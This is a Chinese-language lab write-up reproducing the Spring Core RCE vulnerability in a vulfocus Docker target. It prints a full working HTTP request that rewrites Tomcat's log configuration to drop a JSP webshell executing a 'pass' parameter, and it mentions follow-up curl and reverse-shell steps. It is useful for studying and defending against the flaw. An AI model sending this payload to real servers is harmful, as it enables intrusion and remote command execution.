Spring Core RCE 复现
0x01环境搭建
这几天一直闹的很火的Spring Core RCE漏洞,来复现记录一下
JDK9及其以上版本;
使⽤了Springbeans包;
使⽤了Spring参数绑定;
Spring参数绑定使⽤的是⾮基本参数类型,例如般的POJO即可
Spring框架中的核心组件只有三个:Core、Context和Beans。它们构建起了整个Spring的骨骼架构
顺带一提Spring核心组件的一些关系,Bean来包装Object,而 Context是Bean关系的集合,这个集合叫做Ioc(Inversion of Control)容器。
Core组件是发现、建立和维护每 个Bean之间的关系所需要的一些列的工具。
通过docker搭建环境,pull image镜像下来
这里是vulfocus靶场下的镜像
docker pull vulfocus/spring-core-rce-2022-03-29
然后用docker run来启动
跑起来后访问
0x02漏洞利用
抓包后修改为POST请求,发送paylaod
根据修改日志配置,来写日志 上传恶意jsp文件
为什么会把suffix 和prefix两个参数写在前面定义?
payload:
POST / HTTP/1.1 Host: 192.168.255.128:5468 Accept: text/plain, */*; q=0.01 X-Requested-With: XMLHttpRequest DNT: 1 suffix: %> prefix: <%Runtime Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 496 class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameter%28%22pass%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/root&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
因为如果直接利用pattern来写一个完整的木马命令执行
<%Runtime.getRuntime().exec(request.getParameter("pass"));%>
会发现写进去的是
具体原因也不是很清楚,tomcat写日志的东西
所以前面定义patten为 prefix和suffix来拼接完整的jsp语句
%{prefix}i.getRuntime().exec(request.getParameter("pass"));%{suffix}i
下面的directory为目录,应当是能解析jsp的web目录,我这里试着用WEB-INF目录,但是似乎好像不能解析
发现webapps/下的目录可以解析jsp文件,所以写该目录下写入一个root目录来写文件
可以把下面的步骤想成一步步去执行的
后面再次使用了suffix和prefix定义,很明显是定义为shell.jsp文件
发送payload后
执行一个curl命令
成功RCE
也可以反弹shell了
0x03总结
此次复现踩了很多坑,环境搭建原先想用idea,结果没配出来环境,太菜了。这样就没法跟调用链子了
后面就用的docker来搭建,需要知道对应web目录的位置才能去写文件,不然解析不了。
复现的时候写过一个文件了,去访问该文件,会有相同的代码再写进去,因为是靠写日志来写入的。
如果想重新写一个文件 我发现会无法再次写入,因为是复现可以重启docker就能再次写了。
出现这种情况的原因是因为修改了tomcat写日志的特殊配置,原本是置空的,然后被修改了(只能修改一次)
所以想重新写另外一个文件就不行了,重启后配置会被重新置空。
后续有了idea环境再来看看